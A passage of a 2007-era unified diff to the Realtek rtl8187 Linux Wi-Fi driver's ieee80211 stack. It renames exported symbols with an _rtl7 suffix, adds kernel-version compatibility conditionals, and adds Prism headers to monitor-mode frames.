sync_scan_hurryup; + /* map of allowed channels. 0 is dummy */ // FIXME: remeber to default to a basic channel plan depending of the PHY type int channel_map[MAX_CHANNEL_NUMBER+1]; - + int rate; /* current rate */ int basic_rate; //FIXME: pleace callback, see if redundant with softmac_features short active_scan; - + /* this contains flags for selectively enable softmac support */ u16 softmac_features; - + /* if the sequence control field is not filled by HW */ u16 seq_ctrl; - + /* association procedure transaction sequence number */ u16 associate_seq; - + /* AID for RTXed association responses */ u16 assoc_id; - + /* power save mode related*/ short ps; short sta_sleep; @@ -970,147 +986,153 @@ struct tasklet_struct ps_task; u32 ps_th; u32 ps_tl; - + short raw_tx; /* used if IEEE_SOFTMAC_TX_QUEUE is set */ short queue_stop; short scanning; short proto_started; - + struct semaphore wx_sem; struct semaphore scan_sem; - - spinlock_t mgmt_tx_lock; + + spinlock_t mgmt_tx_lock; spinlock_t beacon_lock; short beacon_txing; short wap_set; short ssid_set; - + /* for discarding duplicated packets in IBSS */ struct list_head ibss_mac_hash[IEEE_IBSS_MAC_HASH_SIZE]; - + /* for discarding duplicated packets in BSS */ u16 last_seq_num; u16 last_frag_num; unsigned long last_packet_time; - + /* for PS mode */ unsigned long last_rx_ps_time; - + /* used if IEEE_SOFTMAC_SINGLE_QUEUE is set */ struct sk_buff *mgmt_queue_ring[MGMT_QUEUE_NUM]; int mgmt_queue_head; int mgmt_queue_tail; - - + + /* used if IEEE_SOFTMAC_TX_QUEUE is set */ struct tx_pending_t tx_pending; - + /* used if IEEE_SOFTMAC_ASSOCIATE is set */ struct timer_list associate_timer; /* used if IEEE_SOFTMAC_BEACONS is set */ struct timer_list beacon_timer; - + struct work_struct associate_complete_wq; + +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) + struct delayed_work associate_retry_wq; + struct delayed_work softmac_scan_wq; +#else struct work_struct associate_retry_wq; + struct work_struct softmac_scan_wq; +#endif struct work_struct start_ibss_wq; struct work_struct associate_procedure_wq; - struct work_struct softmac_scan_wq; struct work_struct wx_sync_scan_wq; - + struct workqueue_struct *wq; /* Callback functions */ void (*set_security)(struct net_device *dev, struct ieee80211_security *sec); - + /* Used to TX data frame by using txb structs. * this is not used if in the softmac_features * is set the flag IEEE_SOFTMAC_TX_QUEUE */ int (*hard_start_xmit)(struct ieee80211_txb *txb, struct net_device *dev); - + int (*reset_port)(struct net_device *dev); - /* Softmac-generated frames (mamagement) are TXed via this - * callback if the flag IEEE_SOFTMAC_SINGLE_QUEUE is - * not set. As some cards may have different HW queues that + /* Softmac-generated frames (mamagement) are TXed via this + * callback if the flag IEEE_SOFTMAC_SINGLE_QUEUE is + * not set. As some cards may have different HW queues that * one might want to use for data and management frames * the option to have two callbacks might be useful. * This fucntion can't sleep. */ int (*softmac_hard_start_xmit)(struct sk_buff *skb, struct net_device *dev); - + /* used instead of hard_start_xmit (not softmac_hard_start_xmit) * if the IEEE_SOFTMAC_TX_QUEUE feature is used to TX data * frames. I the option IEEE_SOFTMAC_SINGLE_QUEUE is also set * then also management frames are sent via this callback. * This function can't sleep. - */ + */ void (*softmac_data_hard_start_xmit)(struct sk_buff *skb, struct net_device *dev,int rate); /* stops the HW queue for DATA frames. Useful to avoid * waste time to TX data frame when we are reassociating * This function can sleep. - */ + */ void (*data_hard_stop)(struct net_device *dev); - + /* OK this is complementar to data_poll_hard_stop */ void (*data_hard_resume)(struct net_device *dev); - + /* ask to the driver to retune the radio . * This function can sleep. the driver should ensure * the radio has been swithced before return. */ void (*set_chan)(struct net_device *dev,short ch); - + /* These are not used if the ieee stack takes care of - * scanning (IEEE_SOFTMAC_SCAN feature set). + * scanning (IEEE_SOFTMAC_SCAN feature set). * In this case only the set_chan is used. * * The syncro version is similar to the start_scan but * does not return until all channels has been scanned. - * this is called in user context and should sleep, + * this is called in user context and should sleep, * it is called in a work_queue when swithcing to ad-hoc mode - * or in behalf of iwlist scan when the card is associated - * and root user ask for a scan. + * or in behalf of iwlist scan when the card is associated + * and root user ask for a scan. * the fucntion stop_scan should stop both the syncro and * background scanning and can sleep. - * The fucntion start_scan should initiate the background + * The fucntion start_scan should initiate the background * scanning and can't sleep. - */ + */ void (*scan_syncro)(struct net_device *dev); void (*start_scan)(struct net_device *dev); void (*stop_scan)(struct net_device *dev); - + /* indicate the driver that the link state is changed * for example it may indicate the card is associated now. - * Driver might be interested in this to apply RX filter - * rules or simply light the LINK led + * Driver might be interested in this to apply RX filter + * rules or simply light the LINK led */ void (*link_change)(struct net_device *dev); - + /* these two function indicates to the HW when to start - * and stop to send beacons. This is used when the + * and stop to send beacons. This is used when the * IEEE_SOFTMAC_BEACONS is not set. For now the * stop_send_bacons is NOT guaranteed to be called only * after start_send_beacons. */ void (*start_send_beacons) (struct net_device *dev); void (*stop_send_beacons) (struct net_device *dev); - + /* power save mode related */ void (*sta_wake_up) (struct net_device *dev); void (*ps_request_tx_ack) (struct net_device *dev); void (*enter_sleep_state) (struct net_device *dev, u32 th, u32 tl); short (*ps_is_queue_empty) (struct net_device *dev); - - + + /* This must be the last item so that it points to the data * allocated beyond this structure by alloc_ieee80211 */ u8 priv[0]; @@ -1148,18 +1170,18 @@ #define IEEE_SOFTMAC_SINGLE_QUEUE (1<<8) /* Generate beacons. The stack will enqueue beacons - * to the card - */ + * to the card + */ #define IEEE_SOFTMAC_BEACONS (1<<6) -extern inline void *ieee80211_priv(struct net_device *dev) +extern inline void *ieee80211_priv_rtl7(struct net_device *dev) { return ((struct ieee80211_device *)netdev_priv(dev))->priv; } -extern inline int ieee80211_is_empty_essid(const char *essid, int essid_len) +extern inline int ieee80211_is_empty_essid_rtl7(const char *essid, int essid_len) { /* Single white space is for Linksys APs */ if (essid_len == 1 && essid[0] == ' ') @@ -1175,7 +1197,7 @@ return 1; } -extern inline int ieee80211_is_valid_mode(struct ieee80211_device *ieee, int mode) +extern inline int ieee80211_is_valid_mode_rtl7(struct ieee80211_device *ieee, int mode) { /* * It is possible for both access points and our device to support @@ -1201,7 +1223,7 @@ return 0; } -extern inline int ieee80211_get_hdrlen(u16 fc) +extern inline int ieee80211_get_hdrlen_rtl7(u16 fc) { int hdrlen = 24; @@ -1229,140 +1251,144 @@ /* ieee80211.c */ -extern void free_ieee80211(struct net_device *dev); -extern struct net_device *alloc_ieee80211(int sizeof_priv); +extern void free_ieee80211_rtl7(struct net_device *dev); +extern struct net_device *alloc_ieee80211_rtl7(int sizeof_priv); -extern int ieee80211_set_encryption(struct ieee80211_device *ieee); +extern int ieee80211_set_encryption_rtl7(struct ieee80211_device *ieee); /* ieee80211_tx.c */ -extern int ieee80211_encrypt_fragment( +extern int ieee80211_encrypt_fragment_rtl7( struct ieee80211_device *ieee, struct sk_buff *frag, int hdr_len); - -extern int ieee80211_xmit(struct sk_buff *skb, + +extern int ieee80211_xmit_rtl7(struct sk_buff *skb, struct net_device *dev); -extern void ieee80211_txb_free(struct ieee80211_txb *); +extern void ieee80211_txb_free_rtl7(struct ieee80211_txb *); /* ieee80211_rx.c */ -extern int ieee80211_rx(struct ieee80211_device *ieee, struct sk_buff *skb, +extern int ieee80211_rx_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb, struct ieee80211_rx_stats *rx_stats); -extern void ieee80211_rx_mgt(struct ieee80211_device *ieee, +extern void ieee80211_rx_mgt_rtl7(struct ieee80211_device *ieee, struct ieee80211_hdr *header, struct ieee80211_rx_stats *stats); /* ieee80211_wx.c */ -extern int ieee80211_wx_get_scan(struct ieee80211_device *ieee, +extern int ieee80211_wx_get_scan_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *key); -extern int ieee80211_wx_set_encode(struct ieee80211_device *ieee, +extern int ieee80211_wx_set_encode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *key); -extern int ieee80211_wx_get_encode(struct ieee80211_device *ieee, +extern int ieee80211_wx_get_encode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *key); /* ieee80211_softmac.c */ -extern short ieee80211_is_54g(struct ieee80211_network net); -extern short ieee80211_is_shortslot(struct ieee80211_network net); -extern int ieee80211_rx_frame_softmac(struct ieee80211_device *ieee, struct sk_buff *skb, +extern short ieee80211_is_54g_rtl7(struct ieee80211_network net); +extern short ieee80211_is_shortslot_rtl7(struct ieee80211_network net); +extern int ieee80211_rx_frame_softmac_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb, struct ieee80211_rx_stats *rx_stats, u16 type, u16 stype); -extern void ieee80211_softmac_new_net(struct ieee80211_device *ieee, struct ieee80211_network *net); +extern void ieee80211_softmac_new_net_rtl7(struct ieee80211_device *ieee, struct ieee80211_network *net); -extern void ieee80211_softmac_xmit(struct ieee80211_txb *txb, struct ieee80211_device *ieee); -extern void ieee80211_softmac_check_all_nets(struct ieee80211_device *ieee); -extern void ieee80211_start_bss(struct ieee80211_device *ieee); -extern void ieee80211_start_master_bss(struct ieee80211_device *ieee); -extern void ieee80211_start_ibss(struct ieee80211_device *ieee); -extern void ieee80211_softmac_init(struct ieee80211_device *ieee); -extern void ieee80211_softmac_free(struct ieee80211_device *ieee); -extern void ieee80211_associate_abort(struct ieee80211_device *ieee); -extern void ieee80211_disassociate(struct ieee80211_device *ieee); -extern void ieee80211_stop_scan(struct ieee80211_device *ieee); -extern void ieee80211_start_scan_syncro(struct ieee80211_device *ieee); -extern void ieee80211_check_all_nets(struct ieee80211_device *ieee); -extern void ieee80211_start_protocol(struct ieee80211_device *ieee); -extern void ieee80211_stop_protocol(struct ieee80211_device *ieee); -extern void ieee80211_softmac_start_protocol(struct ieee80211_device *ieee); -extern void ieee80211_softmac_stop_protocol(struct ieee80211_device *ieee); -extern void ieee80211_reset_queue(struct ieee80211_device *ieee); -extern void ieee80211_wake_queue(struct ieee80211_device *ieee); -extern void ieee80211_stop_queue(struct ieee80211_device *ieee); -extern struct sk_buff *ieee80211_get_beacon(struct ieee80211_device *ieee); -extern void ieee80211_start_send_beacons(struct ieee80211_device *ieee); -extern void ieee80211_stop_send_beacons(struct ieee80211_device *ieee); -extern int ieee80211_wpa_supplicant_ioctl(struct ieee80211_device *ieee, struct iw_point *p); -extern void notify_wx_assoc_event(struct ieee80211_device *ieee); -extern void ieee80211_ps_tx_ack(struct ieee80211_device *ieee, short success); +extern void ieee80211_softmac_xmit_rtl7(struct ieee80211_txb *txb, struct ieee80211_device *ieee); +extern void ieee80211_softmac_check_all_nets_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_bss_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_master_bss_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_ibss_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_softmac_init_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_softmac_free_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_associate_abort_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_disassociate_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_stop_scan_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_scan_syncro_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_check_all_nets_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_protocol_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_stop_protocol_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_softmac_start_protocol_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_softmac_stop_protocol_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_reset_queue_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_wake_queue_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_stop_queue_rtl7(struct ieee80211_device *ieee); +extern struct sk_buff *ieee80211_get_beacon_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_send_beacons_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_stop_send_beacons_rtl7(struct ieee80211_device *ieee); +extern int ieee80211_wpa_supplicant_ioctl_rtl7(struct ieee80211_device *ieee, struct iw_point *p); +extern void notify_wx_assoc_event_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_ps_tx_ack_rtl7(struct ieee80211_device *ieee, short success); /* ieee80211_softmac_wx.c */ -extern int ieee80211_wx_get_wap(struct ieee80211_device *ieee, - struct iw_request_info *info, +extern int ieee80211_wx_get_wap_rtl7(struct ieee80211_device *ieee, + struct iw_request_info *info, union iwreq_data *wrqu, char *ext); - -extern int ieee80211_wx_set_wap(struct ieee80211_device *ieee, + +extern int ieee80211_wx_set_wap_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *awrq, char *extra); - -extern int ieee80211_wx_get_essid(struct ieee80211_device *ieee, struct iw_request_info *a,union iwreq_data *wrqu,char *b); -extern int ieee80211_wx_set_rate(struct ieee80211_device *ieee, +extern int ieee80211_wx_get_essid_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a,union iwreq_data *wrqu,char *b); + +extern int ieee80211_wx_set_rate_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra); - -extern int ieee80211_wx_get_rate(struct ieee80211_device *ieee, - struct iw_request_info *info, + +extern int ieee80211_wx_get_rate_rtl7(struct ieee80211_device *ieee, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra); - -extern int ieee80211_wx_set_mode(struct ieee80211_device *ieee, struct iw_request_info *a, + +extern int ieee80211_wx_set_mode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b); - -extern int ieee80211_wx_set_scan(struct ieee80211_device *ieee, struct iw_request_info *a, + +extern int ieee80211_wx_set_scan_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b); - -extern int ieee80211_wx_set_essid(struct ieee80211_device *ieee, + +extern int ieee80211_wx_set_essid_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *extra); - -extern int ieee80211_wx_get_mode(struct ieee80211_device *ieee, struct iw_request_info *a, + +extern int ieee80211_wx_get_mode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b); -extern int ieee80211_wx_set_freq(struct ieee80211_device *ieee, struct iw_request_info *a, +extern int ieee80211_wx_set_freq_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b); -extern int ieee80211_wx_get_freq(struct ieee80211_device *ieee, struct iw_request_info *a, +extern int ieee80211_wx_get_freq_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b); -extern void ieee80211_wx_sync_scan_wq(struct ieee80211_device *ieee); +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +extern void ieee80211_wx_sync_scan_wq_rtl7(struct work_struct *work); +#else +extern void ieee80211_wx_sync_scan_wq_rtl7(struct ieee80211_device *ieee); +#endif -extern int ieee80211_wx_set_rawtx(struct ieee80211_device *ieee, - struct iw_request_info *info, +extern int ieee80211_wx_set_rawtx_rtl7(struct ieee80211_device *ieee, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra); - -extern int ieee80211_wx_get_name(struct ieee80211_device *ieee, - struct iw_request_info *info, + +extern int ieee80211_wx_get_name_rtl7(struct ieee80211_device *ieee, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra); -extern int ieee80211_wx_set_power(struct ieee80211_device *ieee, +extern int ieee80211_wx_set_power_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra); -extern int ieee80211_wx_get_power(struct ieee80211_device *ieee, +extern int ieee80211_wx_get_power_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra); - -extern const long ieee80211_wlan_frequencies[]; -extern inline void ieee80211_increment_scans(struct ieee80211_device *ieee) +extern const long ieee80211_wlan_frequencies_rtl7[]; + +extern inline void ieee80211_increment_scans_rtl7(struct ieee80211_device *ieee) { ieee->scans++; } -extern inline int ieee80211_get_scans(struct ieee80211_device *ieee) +extern inline int ieee80211_get_scans_rtl7(struct ieee80211_device *ieee) { return ieee->scans; } @@ -1372,7 +1398,7 @@ const char *s = essid; char *d = escaped; - if (ieee80211_is_empty_essid(essid, essid_len)) { + if (ieee80211_is_empty_essid_rtl7(essid, essid_len)) { memcpy(escaped, "", sizeof("")); return escaped; } @@ -1390,4 +1416,5 @@ *d = '\0'; return escaped; } + #endif /* IEEE80211_H */ diff -Naur rtl8187_orig/ieee80211/ieee80211_module.c rtl8187_rawtx/ieee80211/ieee80211_module.c --- rtl8187_orig/ieee80211/ieee80211_module.c 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_rawtx/ieee80211/ieee80211_module.c 2007-07-13 01:46:05.000000000 +0200 @@ -31,7 +31,6 @@ *******************************************************************************/ #include -#include #include #include #include @@ -52,6 +51,12 @@ #include #include +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +#include +#else +#include +#endif + #include "ieee80211.h" MODULE_DESCRIPTION("802.11 data/management/control stack"); @@ -60,7 +65,7 @@ #define DRV_NAME "ieee80211" -static inline int ieee80211_networks_allocate(struct ieee80211_device *ieee) +static inline int ieee80211_networks_allocate_rtl7(struct ieee80211_device *ieee) { if (ieee->networks) return 0; @@ -80,7 +85,7 @@ return 0; } -static inline void ieee80211_networks_free(struct ieee80211_device *ieee) +static inline void ieee80211_networks_free_rtl7(struct ieee80211_device *ieee) { if (!ieee->networks) return; @@ -88,7 +93,7 @@ ieee->networks = NULL; } -static inline void ieee80211_networks_initialize(struct ieee80211_device *ieee) +static inline void ieee80211_networks_initialize_rtl7(struct ieee80211_device *ieee) { int i; @@ -99,7 +104,7 @@ } -struct net_device *alloc_ieee80211(int sizeof_priv) +struct net_device *alloc_ieee80211_rtl7(int sizeof_priv) { struct ieee80211_device *ieee; struct net_device *dev; @@ -113,17 +118,17 @@ goto failed; } ieee = netdev_priv(dev); - dev->hard_start_xmit = ieee80211_xmit; + dev->hard_start_xmit = ieee80211_xmit_rtl7; ieee->dev = dev; - err = ieee80211_networks_allocate(ieee); + err = ieee80211_networks_allocate_rtl7(ieee); if (err) { IEEE80211_ERROR("Unable to allocate beacon storage: %d\n", err); goto failed; } - ieee80211_networks_initialize(ieee); + ieee80211_networks_initialize_rtl7(ieee); /* Default fragmentation threshold is maximum payload size */ ieee->fts = DEFAULT_FTS; @@ -138,7 +143,7 @@ INIT_LIST_HEAD(&ieee->crypt_deinit_list); init_timer(&ieee->crypt_deinit_timer); ieee->crypt_deinit_timer.data = (unsigned long)ieee; - ieee->crypt_deinit_timer.function = ieee80211_crypt_deinit_handler; + ieee->crypt_deinit_timer.function = ieee80211_crypt_deinit_handler_rtl7; spin_lock_init(&ieee->lock); @@ -149,7 +154,7 @@ ieee->ieee802_1x = 1; ieee->raw_tx = 0; - ieee80211_softmac_init(ieee); + ieee80211_softmac_init_rtl7(ieee); for (i = 0; i < IEEE_IBSS_MAC_HASH_SIZE; i++) INIT_LIST_HEAD(&ieee->ibss_mac_hash[i]); @@ -167,7 +172,7 @@ } -void free_ieee80211(struct net_device *dev) +void free_ieee80211_rtl7(struct net_device *dev) { struct ieee80211_device *ieee = netdev_priv(dev); @@ -175,9 +180,9 @@ struct list_head *p, *q; - ieee80211_softmac_free(ieee); + ieee80211_softmac_free_rtl7(ieee); del_timer_sync(&ieee->crypt_deinit_timer); - ieee80211_crypt_deinit_entries(ieee, 1); + ieee80211_crypt_deinit_entries_rtl7(ieee, 1); for (i = 0; i < WEP_KEYS; i++) { struct ieee80211_crypt_data *crypt = ieee->crypt[i]; @@ -191,7 +196,7 @@ } } - ieee80211_networks_free(ieee); + ieee80211_networks_free_rtl7(ieee); for (i = 0; i < IEEE_IBSS_MAC_HASH_SIZE; i++) { list_for_each_safe(p, q, &ieee->ibss_mac_hash[i]) { @@ -210,13 +215,13 @@ u32 ieee80211_debug_level = 0; struct proc_dir_entry *ieee80211_proc = NULL; -static int show_debug_level(char *page, char **start, off_t offset, +static int show_debug_level_rtl7(char *page, char **start, off_t offset, int count, int *eof, void *data) { return snprintf(page, count, "0x%08X\n", ieee80211_debug_level); } -static int store_debug_level(struct file *file, const char *buffer, +static int store_debug_level_rtl7(struct file *file, const char *buffer, unsigned long count, void *data) { char buf[] = "0x00000000"; @@ -243,7 +248,7 @@ return strnlen(buf, count); } -static int __init ieee80211_init(void) +static int __init ieee80211_init_rtl7(void) { struct proc_dir_entry *e; @@ -268,7 +273,7 @@ return 0; } -static void __exit ieee80211_exit(void) +static void __exit ieee80211_exit_rtl7(void) { if (ieee80211_proc) { remove_proc_entry("debug_level", ieee80211_proc); @@ -282,9 +287,9 @@ MODULE_PARM_DESC(debug, "debug output mask"); -module_exit(ieee80211_exit); -module_init(ieee80211_init); +module_exit(ieee80211_exit_rtl7); +module_init(ieee80211_init_rtl7); #endif -EXPORT_SYMBOL(alloc_ieee80211); -EXPORT_SYMBOL(free_ieee80211); +EXPORT_SYMBOL(alloc_ieee80211_rtl7); +EXPORT_SYMBOL(free_ieee80211_rtl7); diff -Naur rtl8187_orig/ieee80211/ieee80211_rx.c rtl8187_rawtx/ieee80211/ieee80211_rx.c --- rtl8187_orig/ieee80211/ieee80211_rx.c 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_rawtx/ieee80211/ieee80211_rx.c 2007-07-29 10:28:57.000000000 +0200 @@ -13,16 +13,15 @@ * more details. ****************************************************************************** - Few modifications for Realtek's Wi-Fi drivers by + Few modifications for Realtek's Wi-Fi drivers by Andrea Merello - - A special thanks goes to Realtek for their support ! + + A special thanks goes to Realtek for their support ! ******************************************************************************/ - + #include -#include #include #include #include @@ -43,18 +42,89 @@ #include #include +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +#include +#else +#include +#endif + + #include "ieee80211.h" -static inline void ieee80211_monitor_rx(struct ieee80211_device *ieee, +static inline void ieee80211_monitor_rx_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb, struct ieee80211_rx_stats *rx_stats) { - struct ieee80211_hdr *hdr = (struct ieee80211_hdr *)skb->data; - u16 fc = le16_to_cpu(hdr->frame_ctl); + struct ieee80211_hdr *hdr1 = (struct ieee80211_hdr *)skb->data; + u16 fc = le16_to_cpu(hdr1->frame_ctl); + int prism_header; + int hdrlen, phdrlen, head_need, tail_need; + + if (ieee->dev->type == ARPHRD_IEEE80211_PRISM) { + prism_header = 1; + phdrlen = sizeof(struct linux_wlan_ng_prism_hdr); + } else { + prism_header = 0; + phdrlen = 0; + } + + hdrlen = ieee80211_get_hdrlen_rtl7(fc); + + /* check if there is enough room for extra data; if not, expand skb + * buffer to be large enough for the changes */ + head_need = phdrlen; + tail_need = 0; +#ifdef PRISM2_ADD_BOGUS_CRC + tail_need += 4; +#endif /* PRISM2_ADD_BOGUS_CRC */ + + head_need -= skb_headroom(skb); + tail_need -= skb_tailroom(skb); + + if (head_need > 0 || tail_need > 0) { + if (pskb_expand_head(skb, head_need > 0 ? head_need : 0, + tail_need > 0 ? tail_need : 0, + GFP_ATOMIC)) { + printk(KERN_DEBUG "%s: ieee80211_rx failed to " + "reallocate skb buffer\n", ieee->dev->name); + dev_kfree_skb_any(skb); + return; + } + } + + if (prism_header == 1) { + struct linux_wlan_ng_prism_hdr *hdr; + hdr = (struct linux_wlan_ng_prism_hdr *) + skb_push(skb, phdrlen); + memset(hdr, 0, phdrlen); + hdr->msgcode = LWNG_CAP_DID_BASE; + hdr->msglen = sizeof(*hdr); + memcpy(hdr->devname, ieee->dev->name, sizeof(hdr->devname)); +#define LWNG_SETVAL(f,i,s,l,d) \ +hdr->f.did = LWNG_CAP_DID_BASE | (i << 12); \ +hdr->f.status = s; hdr->f.len = l; hdr->f.data = d + LWNG_SETVAL(hosttime, 1, 0, 4, jiffies); + LWNG_SETVAL(mactime, 2, 0, 4, ((u32)rx_stats->mac_time)); + LWNG_SETVAL(channel, 3, 1 /* no value */, 4, 0); + LWNG_SETVAL(rssi, 4, 1 /* no value */, 4, 0); + LWNG_SETVAL(sq, 5, 1 /* no value */, 4, 0); + LWNG_SETVAL(signal, 6, 0, 4, rx_stats->signal); + LWNG_SETVAL(noise, 7, 0, 4, rx_stats->noise); + LWNG_SETVAL(rate, 8, 0, 4, rx_stats->rate / 5); + LWNG_SETVAL(istx, 9, 0, 4, 0); + LWNG_SETVAL(frmlen, 10, 0, 4, skb->len - phdrlen); +#undef LWNG_SETVAL + } skb->dev = ieee->dev; +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,22)) skb->mac.raw = skb->data; - skb_pull(skb, ieee80211_get_hdrlen(fc)); +#else + skb_reset_mac_header(skb); +#endif + skb_pull(skb, hdrlen); + if (prism_header) + skb_pull(skb, phdrlen); skb->pkt_type = PACKET_OTHERHOST; skb->protocol = __constant_htons(ETH_P_80211_RAW); memset(skb->cb, 0, sizeof(skb->cb)); @@ -64,7 +134,7 @@ /* Called only as a tasklet (software IRQ) */ static struct ieee80211_frag_entry * -ieee80211_frag_cache_find(struct ieee80211_device *ieee, unsigned int seq, +ieee80211_frag_cache_find_rtl7(struct ieee80211_device *ieee, unsigned int seq, unsigned int frag, u8 *src, u8 *dst) { struct ieee80211_frag_entry *entry; @@ -94,7 +164,7 @@ /* Called only as a tasklet (software IRQ) */ static struct sk_buff * -ieee80211_frag_cache_get(struct ieee80211_device *ieee, +ieee80211_frag_cache_get_rtl7(struct ieee80211_device *ieee, struct ieee80211_hdr *hdr) { struct sk_buff *skb = NULL; @@ -133,7 +203,7 @@ } else { /* received a fragment of a frame for which the head fragment * should have already been received */ - entry = ieee80211_frag_cache_find(ieee, seq, frag, hdr->addr2, + entry = ieee80211_frag_cache_find_rtl7(ieee, seq, frag, hdr->addr2, hdr->addr1); if (entry != NULL) { entry->last_frag = frag; @@ -146,7 +216,7 @@ /* Called only as a tasklet (software IRQ) */ -static int ieee80211_frag_cache_invalidate(struct ieee80211_device *ieee, +static int ieee80211_frag_cache_invalidate_rtl7(struct ieee80211_device *ieee, struct ieee80211_hdr *hdr) { u16 sc; @@ -156,7 +226,7 @@ sc = le16_to_cpu(hdr->seq_ctl); seq = WLAN_GET_SEQ_SEQ(sc); - entry = ieee80211_frag_cache_find(ieee, seq, -1, hdr->addr2, + entry = ieee80211_frag_cache_find_rtl7(ieee, seq, -1, hdr->addr2, hdr->addr1); if (entry == NULL) { @@ -178,7 +248,7 @@ * * Called by ieee80211_rx */ static inline int -ieee80211_rx_frame_mgmt(struct ieee80211_device *ieee, struct sk_buff *skb, +ieee80211_rx_frame_mgmt_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb, struct ieee80211_rx_stats *rx_stats, u16 type, u16 stype) { @@ -187,13 +257,13 @@ * response parser uses it */ rx_stats->len = skb->len; - ieee80211_rx_mgt(ieee,(struct ieee80211_hdr *)skb->data,rx_stats); - ieee80211_rx_frame_softmac(ieee, skb, rx_stats, type, stype); + ieee80211_rx_mgt_rtl7(ieee,(struct ieee80211_hdr *)skb->data,rx_stats); + ieee80211_rx_frame_softmac_rtl7(ieee, skb, rx_stats, type, stype); dev_kfree_skb_any(skb); - + return 0; - + #ifdef NOT_YET if (ieee->iw_mode == IW_MODE_MASTER) { printk(KERN_DEBUG "%s: Master mode not yet suppported.\n", @@ -253,7 +323,7 @@ /* No encapsulation header if EtherType < 0x600 (=length) */ /* Called by ieee80211_rx_frame_decrypt */ -static int ieee80211_is_eapol_frame(struct ieee80211_device *ieee, +static int ieee80211_is_eapol_frame_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb) { struct net_device *dev = ieee->dev; @@ -294,7 +364,7 @@ /* Called only as a tasklet (software IRQ), by ieee80211_rx */ static inline int -ieee80211_rx_frame_decrypt(struct ieee80211_device* ieee, struct sk_buff *skb, +ieee80211_rx_frame_decrypt_rtl7(struct ieee80211_device* ieee, struct sk_buff *skb, struct ieee80211_crypt_data *crypt) { struct ieee80211_hdr *hdr; @@ -304,7 +374,7 @@ return 0; hdr = (struct ieee80211_hdr *) skb->data; - hdrlen = ieee80211_get_hdrlen(le16_to_cpu(hdr->frame_ctl)); + hdrlen = ieee80211_get_hdrlen_rtl7(le16_to_cpu(hdr->frame_ctl)); #ifdef CONFIG_IEEE80211_CRYPT_TKIP if (ieee->tkip_countermeasures && @@ -339,7 +409,7 @@ /* Called only as a tasklet (software IRQ), by ieee80211_rx */ static inline int -ieee80211_rx_frame_decrypt_msdu(struct ieee80211_device* ieee, struct sk_buff *skb, +ieee80211_rx_frame_decrypt_msdu_rtl7(struct ieee80211_device* ieee, struct sk_buff *skb, int keyidx, struct ieee80211_crypt_data *crypt) { struct ieee80211_hdr *hdr; @@ -349,7 +419,7 @@ return 0; hdr = (struct ieee80211_hdr *) skb->data; - hdrlen = ieee80211_get_hdrlen(le16_to_cpu(hdr->frame_ctl)); + hdrlen = ieee80211_get_hdrlen_rtl7(le16_to_cpu(hdr->frame_ctl)); atomic_inc(&crypt->refcnt); res = crypt->ops->decrypt_msdu(skb, keyidx, hdrlen, crypt->priv); @@ -367,7 +437,7 @@ /* this function is stolen from ipw2200 driver*/ #define IEEE_PACKET_RETRY_TIME (5*HZ) -static int is_duplicate_packet(struct ieee80211_device *ieee, +static int is_duplicate_packet_rtl7(struct ieee80211_device *ieee, struct ieee80211_hdr *header) { // u16 fc = le16_to_cpu(header->frame_ctl); @@ -413,7 +483,7 @@ last_seq = &ieee->last_seq_num; last_frag = &ieee->last_frag_num; last_time = &ieee->last_packet_time; - + break; default: return 0; @@ -436,7 +506,7 @@ drop: // BUG_ON(!(fc & IEEE80211_FCTL_RETRY)); // printk("DUP\n"); - + return 1; } @@ -444,7 +514,7 @@ /* All received frames are sent to this function. @skb contains the 